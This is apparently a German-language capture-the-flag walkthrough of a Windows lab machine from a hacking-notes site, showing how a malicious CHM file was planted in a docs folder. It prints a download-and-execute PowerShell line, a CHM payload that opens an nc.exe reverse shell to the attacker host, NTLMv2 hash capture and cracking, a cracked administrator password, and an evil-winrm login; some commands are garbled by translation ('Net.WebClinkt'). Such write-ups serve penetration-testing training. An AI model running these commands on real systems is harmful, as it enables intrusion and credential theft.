> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.chm-file-pentesting-web.md).

# Datei-Upload und NTLMv2 erfassen .chm

**Erkundung des Verzeichnisses "docs":**/ Am **Windows** Stammverzeichnis fanden wir einen **docs** Ordner mit einer Datei `note.txt` mit der folgenden Nachricht:

<figure><img src="/files/af6218ef7ef7ccb22686332a6da37c7c6d37eadf" alt=""><figcaption></figcaption></figure>

> Hallo Chris,
>
> Deine PHP-Kenntnisse sind wirklich schlecht. Kontaktiere Yamitenshi, damit sie dir zeigen können, wie man es benutzt, und behebe dann die Website, weil es viele Fehler gibt. Ich hoffe auch, dass du die Dokumentation für unsere neue Anwendung vorbereitet hast. Lege sie hier ab, wenn du fertig bist.
>
> Mit freundlichen Grüßen,/ Sniper CEO. **Dokumentationssuche im System:**/ Wir suchten nach der vom CEO erwähnten Dokumentation und fanden sie im Verzeichnis **Downloads** unter der Datei **instructions.chm**.

<figure><img src="/files/b45939f73955648174a2bbf59980c173655a2074" alt="" width="563"><figcaption></figcaption></figure>

### **Erstellung einer bösartigen CHM-Datei:**

Nachdem entdeckt wurde, dass der CEO Dateien überprüfen wollte **CHM** im Verzeichnis **docs**, recherchierten wir online, wie man bösartige CHM-Dateien erstellt.

{% embed url="<https://github.com/samratashok/nishang/blob/master/Clinkt/Out-CHM.ps1>" %}

**Download des HTML-Help-Tools:**/ Wir haben **HTML Help** heruntergeladen und ein PowerShell-Skript verwendet, um eine bösartige CHM-Datei zu erstellen

* [HTML Help](https://archive.org/download/htmlhelp/htmlhelp.exe)

```bash
IEX (New-Object Net.WebClinkt).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Clinkt/Out-CHM.ps1')

```

Dann haben wir das Skript geändert, um einen bösartigen Befehl aus der Ferne über **nc.exe**:

```bash
Out-CHM -Payload "//10.10.14.3/smb/nc.exe -e cmd 10.10.14.3 443" -HHCPath "C:/Program Files (x86)/HTML Help Workshop"

```

<figure><img src="/files/7e9127d998aa14e20abd9834fb7574d8664f8a01" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/88821836ef72ae79d65e517cc8f98939f6258356" alt="" width="563"><figcaption></figcaption></figure>

**Einfügen der bösartigen CHM-Datei in das Zielverzeichnis:**/ Wir haben auf unserem Angreifer-Rechner einen SMB-Server eingerichtet, um die bösartige Datei auf den Windows-Zielrechner zu übertragen:

```bash
smbserver.py smbFolder $(pwd) -smb2support -username jordan -password jordan1234

```

**Verbindung zur SMB-Freigabe vom Opferrechner aus:**/ Vom Windows-Zielrechner aus haben wir die SMB-Freigabe gemountet und die bösartige Datei kopiert `doc.chm`:

```powershell
und verwendeten x: //192.168.0.190/smbFolder /user:jordan jordan1234
copy ./doc.chm x:/doc.chm

```

**Einen Reverse-Shell-Listener starten:**/ Wir haben auf unserem Angreifer-Rechner einen Listener gestartet und warten auf eine eingehende Reverse Shell:

```bash
rlwrap nc -nlvp 443

```

<figure><img src="/files/1da2ba55ea448f586257fc0919e77614a162a672" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/5bae501ac1fe6fe0c9de95d6d8536922b2ef7b4e" alt="" width="563"><figcaption></figcaption></figure>

**Aufgetretenes Problem:**/ Obwohl die CHM-Datei geöffnet wurde, haben wir keine Reverse Shell erhalten. Wir haben jedoch erfolgreich einen **SMB Relay V2** auf unserem Server abgefangen. Dadurch erhielten wir einen Authentifizierungs-Hash für den Benutzer `Administrator`

<figure><img src="/files/708ff256a5ca325591212bf559f5cf63555b513c" alt=""><figcaption></figcaption></figure>

#### **Knacken des Hashs des Administrators:**

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

```

`Administrator:butterfly!#1`

<figure><img src="/files/f9af463e0b9144a6693741a9fe40a329a7ba64a7" alt=""><figcaption></figcaption></figure>

#### **Verbindung als Administrator:**

Mit den erhaltenen Anmeldeinformationen haben wir **Evil-WinRM** verwendet, um eine Verbindung zur Maschine als Administrator herzustellen:

```bash
evil-winrm -i 10.10.14.3 -u 'Administrator' -p 'butterfly!#1'

```

<figure><img src="/files/b7c6a2507ab30e9d1d56a0ba85668b73dfbfbbfd" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.chm-file-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
